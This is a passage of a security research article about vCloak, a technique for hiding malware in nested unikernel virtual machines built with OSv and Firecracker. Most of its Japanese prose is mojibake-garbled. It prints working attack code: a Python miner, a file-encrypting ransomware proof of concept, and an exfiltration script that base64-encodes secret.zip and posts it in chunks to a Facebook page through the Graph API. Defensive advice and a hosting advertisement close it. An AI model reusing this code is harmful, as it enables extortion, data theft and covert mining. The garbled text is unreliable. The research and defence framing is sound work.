attacker@vcloak1:~$ sudo apt update
attacker@vcloak1:~$ sudo apt install git make build-essential libboost-system-dev qemu-system-x86 qemu-utils openjdk-8-jdk maven pax-utils python python-dev
attacker@vcloak1:~$ git clone https://github.com/cloudius-systems/osv.git #clone git repository
attacker@vcloak1:~$ cd osv
attacker@vcloak1:~/osv$ git submodule update --init ârecursive # install # install examples and other dependencies
attacker@vcloak1:~/osv$ ls -l apps/native-example/ #checkout hello world app
total 40
-rwxrwxr-x 1 mc mc 16696 Dec 30 09:29 hello
-rw-rw-r-- 1 mc mc 77 Dec 30 09:20 hello.c
-rw-rw-r-- 1 mc mc 150 Dec 30 09:20 Makefile
-rw-rw-r-- 1 mc mc 57 Dec 31 00:09 module.py
-rw-rw-r-- 1 mc mc 49 Dec 30 09:20 README
-rw-rw-r-- 1 mc mc 28 Dec 30 09:20 usr.manifest
attacker@vcloak1:~/osv$ cat apps/native-example/hello.c #checkout actual c code
#include
int main(){
printf(«Hello from C code\n»);
return 0;
}
attacker@vcloak1:~/osv$ ./scripts/build image=native-example #letâs wrap out app with OSv unikernel
attacker@vcloak1:~/osv$ ./scripts/run.py #execute latest OSv build
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /hello
Hello from C code
ãªã¹ã4ïŒã©ãããŒãšããŠOSvã䜿çšããåçŽãªCããã°ã©ã ã®ãã«ããšå®è¡
åæ§ã«ãPythonã§OSvã¢ããªã±ãŒã·ã§ã³ããã«ãã§ããŸãã
In a very similar way we can build an OSv app with python:
attacker@vcloak1:~/osv$ ./scripts/build image=python2x
attacker@vcloak1:~/osv$ ./scripts/run.py
OSv v0.55.0-157-g0cf6acc7
eth0: 192.168.122.15
Booted up in 0.00 ms
Cmdline: /python
Python 2.7.18 (default, Aug 4 2020, 11:16:42)
[GCC 9.3.0] on linux2
Type «help», «copyright», «credits» or «license» for more information.
>>>
ãªã¹ã5ïŒã©ãããŒ
ãšããŠOSvã䜿çšããåçŽãªPythonããã°ã©ã ã®æ§ç¯ãšå®è¡ äžèšã§ç°¡åã«èª¬æããããã«ãOSvã¯ãäžè¬çãªã¢ããªã±ãŒã·ã§ã³ãUnikernelã¢ããªã±ãŒã·ã§ã³ã«å€æããããã®åŒ·åã§ç°¡åãªæ¹æ³ã§ããFirecrackerïŒãŸãã¯ããã«å°ããªããŒããŠã§ã¢ä»®æ³åãªãã·ã§ã³ïŒã®ãããªãã€ã¯ãä»®æ³ãã·ã³ãšçµã¿åããããšãæå°éã§ãããªãã髿§èœã®ä»®æ³åãã€ããŒããäœæãããŸãããã®åªãã補åã®è©³çްã«ã€ããŠã¯ãOSvGitHubããŒãžãã芧ãã ãã ããã®æ®µéã§ãç§ãã¡ãå®äºããå¿ èŠãããã®ã¯ãçŽæããããã«ã3ã€ã®OSvã¢ããªã±ãŒã·ã§ã³ã®ããããã«å¿ èŠãªPythonã³ãŒããæžãããšã ãã§ãã
å³6ïŒãã¹ããããä»®æ³åã¯æã å°ãæ··ä¹±ããå¯èœæ§ããããŸã
ãã¹ããããä»®æ³å
ã«ã¢ãã©ãŒãžã¥ãã©ã®ããã«ã¬ã€ã€ãŒããšã«äœæããããã調ã¹ãæåã®ç¹æš©å®è¡ãããã«ã¢ãã©ãŒãžã¥ã®2çªç®ã®ã¬ã€ã€ãŒã圢æãã倿°ã®æå°éã®Unikernelã«ãŒãã«ã®äœæãŸã§ã®ãã«ãŠã§ã¢ã®å±éã远跡ããŸããããããã®Unikernelã«ãŒãã«ïŒã¬ãã«2ïŒã¯ãUbuntuïŒã¬ãã«1ïŒãå®è¡ããŠããå¥ã®ä»®æ³ãã·ã³äžã§VT-xãKVMãããã³ç竹ã䜿çšããŠä»®æ³åãããŸãããç竹ã¯ãã®ã¬ãã«ã§ã䜿çšã§ããŸãã
ãã®ãåæ©çãªãç¶æ ã¯ãKVMã§ãµããŒããããŠããæ©èœã§ãããã¹ããããä»®æ³åã®ãããã§å®çŸã§ããŸãããã®ä»®æ³åã«ãããã²ã¹ããã·ã³ããã¹ããã·ã³ãšããŠæ©èœã§ããããã«ãªããŸãããã®èšäºã§ã¯ããã«ã¢ãã©ãŒãžã¥ã¬ãã«ããšããçšèªãããªã倧ãŸãã«äœ¿çšããŠããããããã¹ããããä»®æ³åã説æããKVMçšèªãšæ¯èŒãããšããã®çšèªã®æå³ãæç¢ºã«ãªãå¯èœæ§ããããŸãïŒã€ãŸããL1ã¯ç©çãã¹ãããå®è¡ãããä»®æ³ãã·ã³ã§ãã L2ã¯ãã²ã¹ããã·ã³L1ïŒããå®è¡ãããä»®æ³ãã·ã³ã§ãã
ãã€ããŒã®äœæ
説æãããç ç©¶ã®éçšã§ãåœè£ ããããã®å€ãã®è©Šã¿ããªãããå®éã®äœ¿çšã«é©ãããªãŒãã³ãœãŒã¹ã®ãã€ããŒãšãå®çŸå¯èœæ§ã®èšŒæ ãšããŠã®ã¿åœ¹ç«ã€ãã®çš®ã®ããããªã¹ãããŒã«ã®äž¡æ¹ãäœæãããŸãããç°¡åã«ããããã«ãsubhan-nadeemã«ãã£ãŠéçºããã ãªãŒãã³ãœãŒã¹ãã€ããŒãç°¡åã«ç޹ä»ããŸãã
attacker@vcloak1:~/osv$ cat apps/python-miner/miner.py #
import hashlib
def get_sha_256_hash(input_value):
return hashlib.sha256(input_value).hexdigest()
def block_hash_less_than_target(block_hash, given_target):
return int(block_hash, 16) < int(given_target, 16)
# ( , , , , )
blockData = \
'01000000000000000000000000000000000000000000000000000000000000000000000' \
'03ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f' \
'49ffff001d1dac2b7c01010000000100000000000000000000000000000000000000000' \
'00000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030' \
'332f4a616e2f32303039204368616e63656c6c6f72206f6e20627266e6b206f66207365' \
'636f6e64206261696c6f757420666f722062616e6b73ffffffff0100f2052a010000004' \
'34104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649' \
'f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000' \
.encode()
# â , -
target = '0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'
solution_found = False
block_data_hexadecimal_value = int(blockData, 16)
nonce = 0
while not solution_found:
block_data_with_nonce = block_data_hexadecimal_value + nonce
#
first_hash = get_sha_256_hash(hex(block_data_with_nonce).encode())
second_hash = get_sha_256_hash(first_hash.encode())
print('Nonce: ' + str(nonce))
print('Block hash:')
print(second_hash)
print('Is the block hash less than the target?')
solution_found = block_hash_less_than_target(second_hash, target)
print(solution_found)
if not solution_found:
nonce += 1
ãªã¹ã6ïŒãã€ããŒããã®ã³ãŒãã¹ãããã
ã©ã³ãµã ãŠã§ã¢ã³ãŒãã®çæ
é±å±±åŽåè
ã®å Žåãšåæ§ã«ãã©ã³ãµã ãŠã§ã¢ã®åœ¹å²ã«ã€ããŠå€ãã®ãœãªã¥ãŒã·ã§ã³ããã¹ããããŠããŸãããã ããããããããããããã«ãguihermejã«ããã©ã³ãµã ãŠã§ã¢ã®PoCããŒãžã§ã³ãèŠãŠã¿ãŸããã
ã
attacker@vcloak1:~/osv$ cat apps/python-ransom/ransom.py #
#
file_name = «foto.jpg»
file = open(file_name, «rb»)
file_data = file.read()
file.close()
#
#os.remove(file_name)
# ( AES)
key = «0123456789abcdef» # 16- â
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
#
new_file_name = file_name + «.pyransom» # ,
new_file = open(new_file_name, 'wb')
new_file.write(crypto_data)
new_file.close()
ãªã¹ã7ïŒã©ã³ãµã ãŠã§ã¢ã®ã³ãŒãã¹ãããã
ãšã¯ã¹ãã©ã¯ã¿ã®äœæ
ãã®ã³ã³ããŒãã³ãã®ã¿ã¹ã¯ã¯ç°¡åã§ãããã€ããŒãŸãã¯ã©ã³ãµã ãŠã§ã¢ããã®å ¥åããªãã¹ã³ããä¿¡é Œã§ããAPIïŒFacebookãªã©ïŒã«å®å šã«éä¿¡ããŸãããã®éšåã§ã¯ããããããç¡æã®SSLèšŒææžãã³çãããååŸããŸããç¹°ãè¿ãã«ãªããŸããããªãŒãã³ãœãŒã¹ã®åã䜿çšããŠãã¿ã¹ã¯ã解決ããŸããä»åã¯ãzone13ã®GitHubãããžã§ã¯ãã«åºã¥ããŠã³ãŒãã äœæããŸãã
attacker@vcloak1:~$ cat apps/python-ransom/ransom.py #
import facebook, time, base64, textwrap
def main():
cfg = {
# ,
«page_id» : «»,
«access_token» : «»
}
api = get_api(cfg)
# zip- base-64
msg = file_read_into_array()
# ,
chunks = (len(msg) / float(50000))
if isinstance(chunks, float) or (a == 0):
chunks = int(chunks) + 1
# base-64 50 000
file_array = textwrap.wrap(msg, 50000)
# Facebook
for i in range(chunks):
status = api.put_wall_post(«Part####» + str(i) + « « + file_array[i])
time.sleep(0.5)
# zip- base-64
def file_read_into_array():
with open(«secret.zip», «rb») as f:
a = f.read()
encoded_data = base64.encodestring(a)
return encoded_data
# Facebook
def get_api(cfg):
graph = facebook.GraphAPI(cfg['access_token'])
resp = graph.get_object('me/accounts')
page_access_token = None
for page in resp['data']:
if page['id'] == cfg['page_id']:
page_access_token = page['access_token']
graph = facebook.GraphAPI(page_access_token)
return graph
if __name__ == «__main__»:
main()
ãªã¹ã8ïŒãšã¯ã¹ãã©ã¯ã¿ãŒã³ãŒãã¹ãããã
ç¹°ãè¿ããšåæ
ç§ãã¡ãããããšãç¹°ãè¿ããŸããããå®çŸå¯èœæ§ã®èšŒæ ãšããŠã圱é¿ãåãããã¹ãããããŒã¿ããã€ãã³ã°ãæå·åãããã³ãã£ãã·ã³ã°ããæªæã®ããã³ãŒããäœæããŸããããã©ã€ããªãã€ããŒãã¯ããã¹ããããããä¿¡é ŒããŠããUbuntuããŒã¹ã®ãã€ã¯ãä»®æ³ãã·ã³ãšã®ã«ã¢ãã©ãŒãžã¥ïŒãŸãã¯ä»®æ³åïŒã®æåã®ã¬ã€ã€ãŒã圢æããŸãã
ä»åŸãããŸããŸãªããã»ã¹ãã¹ãŠã®ã¡ã¢ãªã¯ãåäžã®ãã©ããåããããã€ããªããããšããŠè¡šãããŸãã MicroVMã«å«ãŸãããã¹ãŠã®APIåŒã³åºããšOSãšã³ã·ã¹ãã ã¯ãå€éšããã¯èŠããŸããã MicroVMèšŒææžã¯ãã¹ãæ§æãåæ ããŠããŸããããããã®èšŒææžã¯ãã¹ãããé ãããŠããŸãïŒç¹ã«ãããã«ãããMITM SSLä¿è·ã䜿çšããŠãã©ãã£ãã¯åæããŒã«ããé ãããšãã§ããŸãïŒã
å³7ïŒvCloakãœãããŠã§ã¢ã¹ã¿ãã¯ãè²ä»ãã®ç·ã¯ãåã ã®ä»®æ³åé åã®å¢çã瀺ããŸã
ãMicroVMãèµ·åããã»ã¹ãå®äºãããšãVT-xãšFirecrackerã«åºã¥ã3ã€ã®ç°ãªãUnikernelã«ãŒãã«ãèªã¿èŸŒãŸãããããã®ã«ãŒãã«ã«ã¯æªæã®ããããžãã¯ãå«ãŸããŸãããã®ãããªUnikernelã«ãŒãã«ã®å©ããåããŠãä»®æ³åã®å¥ã®ã¬ã€ã€ãŒãããã«è¿œå ãããã ãã§ãªããUnikernelã«ãŒãã«ã§ãŠãŒã¶ãŒã¹ããŒã¹ãšã«ãŒãã«ã¹ããŒã¹ãäºãã«åé¢ãããŠããªããããã¡ã¢ãªã¢ãã«ã«å¥ã®ã¬ãã«ã®ã«ãªã¹ãå°å ¥ãããŸãããã®ãã¹ãŠã®æªã¿ã¯ãã«ã¢ãã©ãŒãžã¥ã®æåã®ã¬ã€ã€ãŒãçºèŠãããã®ããžãã¯ãéã«ããããšèããŠããæåã®ãã¹ããã·ã³ã®ãªãã¬ãŒã¿ãŒã®äœæ¥ãæ·±å»ã«è€éã«ããŸãã
çµæãšããŠçããå€è£ ããå€å±€ãã«ãŠã§ã¢ã¯ããããŸã§ä»¥äžã«æœè¡æ§ã§ããã ãã§ãªãããµã€ãºãæå°ã§ãããããç§»æ€æ§ãé«ããªããŸããä»®æ³ãã·ã³ã¯ç°å¢å šäœãæäŸãããããèšç®å¯èœæ§ãäŸåé¢ä¿ã®åé¡ã«ããé害ã®å¯èœæ§ãäœããªããŸãã
ãããªãç ç©¶ãšæé©å
å³8ïŒã»ã«ããã¹ã
ããŒãã«äžèšã®è¡šã¯ãæ»æã®åŽé¢ãšç¹å®ã®æ»æãã¯ãã«ã®é©åæ§ïŒå³9ã®æåã®è¡ïŒããšã«æŽçãããããŸããŸãªææ³ïŒå³9ã®åïŒã瀺ããŠããŸãããã®èšäºã§èª¬æããææ³ã¯ç·è²ã®ã»ã«ã«ãªã¹ããããŠããã調æ»ã®éçšã§è§Šããä»ã®è§åºŠã¯çœãã»ã«ã«ãªã¹ããããŠããŸããã¢ããã€ã¹ãæäŸããŠãã®æçš¿ãç· ããããåã«ãäžã®è¡šã®çœãããã¯ã¹ã«èšèŒãããŠããææ³ã䜿çšããŠãã«ãŠã§ã¢ãã匷åãããæ¹æ³ãèŠãŠã¿ãŸãããïŒå³8ïŒã
- å ±æã¡ã¢ãª ãšã¯ã¹ãã©ã¯ã¿-ãã«ãŠã§ã¢ãšã¡ã¢ãªãå ±æããå ±æããŒã¿ã«ããŸã圱é¿ãäžããªãããã«ãšã¯ã¹ãã©ã¯ã¿ãæ§æã§ããŸãã
- â - , .
- â , , xmrig GonnaCry, .
- â vCloak1, vCloack2, VM, MicroVM, Unikernel ELF, . .
- â firecracker, , .
- â KVM, , alternative can be produced to reduce payload size and add cloaking abilities.
- â , , , MAP_EXCLUSIVE, SGX SVE\SME .
- ãã¹ãã«å¯Ÿããæ»æã®ç¯å²ã®æ¡å€§ -ãã®è°è«ã¯ãã®èšäºã®ç¯å²ãè¶ ããŠããããããã®ãããªæ©äŒã¯äœ¿çšããŸããã確ãã«ãã«ã¢ãã©ãŒãžã¥ãããã«å¹æçã«ããæ¢ç¥ã®è匱æ§ããããŸãã
æåŸã«ãèšåããããšãå¿ããããšã¯ã§ããŸãããããã¯ãã®èª¿æ»ã®ç®çã«ã¯åœãŠã¯ãŸããŸãããããã€ããŒãã€ã¶ãŒã䜿çšããæ¹ã䟿å©ã§ããããšãããããŸããããããã®ããã°ã©ã ã¯äººæ°ããããå€ãã®è匱æ§ãããããšãç¥ãããŠããããã€ããŒãã€ã¶ãŒã®æŽæ°é »åºŠã¯ããŸããŸã§ãããã€ããŒãã€ã¶ãŒã®è匱æ§ãæªçšããŠãã«ã¢ãã©ãŒãžã¥ã®ããã©ãŒãã³ã¹ãåäžãããããšãã§ããŸããæ»æè ãšãããã¯ãŒã¯ã¬ãŒãã®éã®ç«¶äºã¯åŠ¥åããã容赊ãªããã®ã§ãããã®èšäºã§æäŸãããæ å ±ããèªè ããããã¯ã«å°ãå ¥ãã®ã«åœ¹ç«ã€ããšãé¡ã£ãŠããŸãã
楜åš
ä»®æ³åã調æ»ããŠãããšãã«ããã®èª¿æ»ã«åœ¹ç«ã€ããã€ãã®ããŒã«ãäœæããŸããã
- ãã®ãã€ãããå®è£
- 䟿å©ãªãªã³ã¯ã®ãªã¹ã
- ãªããžããªïŒhttpsïŒ //github.com/ch-mk/vCloak.git
è åšãæé€ãã
ä»®æ³ãã·ã³ãšãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã®äžçã¯æ¥éã«æ¡å€§ããŠãããåæã«æ°ãããœãããŠã§ã¢ãšãââãŒããŠã§ã¢ã®æ©èœãç»å ŽããŠããŸãããã«ãŠã§ã¢å±éã®èгç¹ãããããã®æ°æ©èœã調æ»ããããšã¯ã
ãµã€ããŒã»ãã¥ãªãã£ããŒã ãæ¯æŽããããšãã§ããŸã ãä»®æ³åããã空éã«ã¯äœã衚瀺ãããªããããä»®æ³åã«ãã£ãŠãã¹ã¯ãããæªæã®ããåäœã®äžéšãæé€ããããšã¯å°é£ã§ãããããã®æ»è§ã匷調ããæ¹æ³ã¯ããã€ããããŸãããçŸåšããã®çš®ã®æšæºãŸãã¯ãã€ãã£ãã®ãœãªã¥ãŒã·ã§ã³ã¯ãããŸããããã ããæ»æã®é£éå šäœã調ã¹ããšãæªæã®ããä»®æ³åã«å¯Ÿæããããã®éåžžã«å¹æçãªå¯ŸçãèŠã€ããããšãã§ããŸãã
äœãã§ããã/å©çšå¯èœãªãªãœãŒã¹ïŒ
- ãã€ããŒãã€ã¶ãŒãå³å¯ãªRBAC / MACå¶åŸ¡äžã«çœ®ãïŒCitrixå®è£ ïŒ
- åé·æ©èœãç¡å¹ã«ããããšã§æ»æå¯Ÿè±¡é åãæžãããŸãïŒããšãã°ãXenãããžã§ã¯ãã§äžè¬çã«èª¬æãããŠããåé·å ±æ ïŒ
- ãã¹ãã®ç°åžžæ€åºïŒ AbdulalizeçãšStephen Walthusenã«ããããã«é¢ããè峿·±ãåŠè¡ç ç©¶ããããŸãïŒ
éšåçã«å©çšå¯èœãŸãã¯å©çšäžå¯ïŒ
- ä»®æ³ãã·ã³ã®ç¶æ å ã®å¯èŠæ§
- ä»®æ³ãã·ã³ã¢ãã¿ãŒãäœæãã
- ä»®æ³ãã·ã³ã«ãããã¹ããªãœãŒã¹æ¶è²»ã®ç°åžžã®ç¹å®
çµè«
ä»®æ³åã¯ãã£ãããã§ãïŒã¯ã©ãŠãããšã³ããã€ã³ããã·ã³ãããã«ã¯ææ°ã®èªåè»ãªã©ãå€ãã®é©æ°çãªãã®ãä»®æ³åã«ãã£ãŠæäŸãããæœè±¡åã«åºã¥ããŠæ§ç¯ãããŠããŸããä»®æ³åã¯ãäžè¬çã«ããã©ãŒãã³ã¹ãšã»ãã¥ãªãã£ã匷åããŸãããæ¬ ç¹ããããŸããæè¿ã®å®éã®æ»æã瀺ããŠããããã«ããŸããã®èšäºã§èª¬æããŠããããã«ãæ»æè ã¯ä»®æ³åã®æ©èœã®å€ããå©çšã§ããŸããææ°ã®ãã¯ãããžãŒãç¹ã«VT-xãšæå°éã®ãµã³ãããã¯ã¹ã䜿çšãããšãä»®æ³åãããã«åŸ®åŠã«ãªããŸãã
vCloakã®ç®çã¯ãä»®æ³åã䜿çšããŠãã«ãŠã§ã¢ãç®ã«èŠããªã圢ã§å±éããæ¹æ³ã®åé¡ãå®éã«ç޹ä»ãããŠãŒã¶ãŒããããã®ã¿ã€ãã®è åšãèªèããŠé²åŸ¡ã§ããããã«ããããšã§ãã
ãã®èšäºã§ã¯ãçŸåšå©çšå¯èœãªãã®ãããªè åšãæé€ããããã®ããã€ãã®æ¹æ³ãšãå°æ¥èšç»ãããŠãããœãªã¥ãŒã·ã§ã³ã«ã€ããŠã説æããŠããŸããæªæã®ããä»®æ³åã«å¯Ÿããä¿è·ãããå°é£ãªã¿ã¹ã¯ã«ããããã«å®è£ ããå¿ èŠãããéèŠãªæ©äŒã¯ãä»®æ³ãã·ã³ã§è¡ãããããã»ã¹ã®éææ§ãé«ããè åšã广çã«äžåããããšã§ãããµã€ããŒã»ãã¥ãªãã£æ¥çã¯ãä»®æ³åã®ããã®ææ°ã®ãœãªã¥ãŒã·ã§ã³ãéçºããããã«å¯Ÿå¿ããŠããŸãããä»ããããã®ãããªè åšã«æ³šæããäºåã«ãããã«å¯Ÿããä¿è·ãæ§ç¯ãããšãã§ãã
Macleodã®ã¯ã©ãŠããµãŒã㌠ã¯é«éã§å®å šã§ãã
äžèšã®ãªã³ã¯ã䜿çšãããããããŒãã¯ãªãã¯ããŠç»é²ãããšãä»»æã®æ§æã®ãµãŒããŒãã¬ã³ã¿ã«ããæåã®æã10ïŒ å²åŒã«ãªããŸãã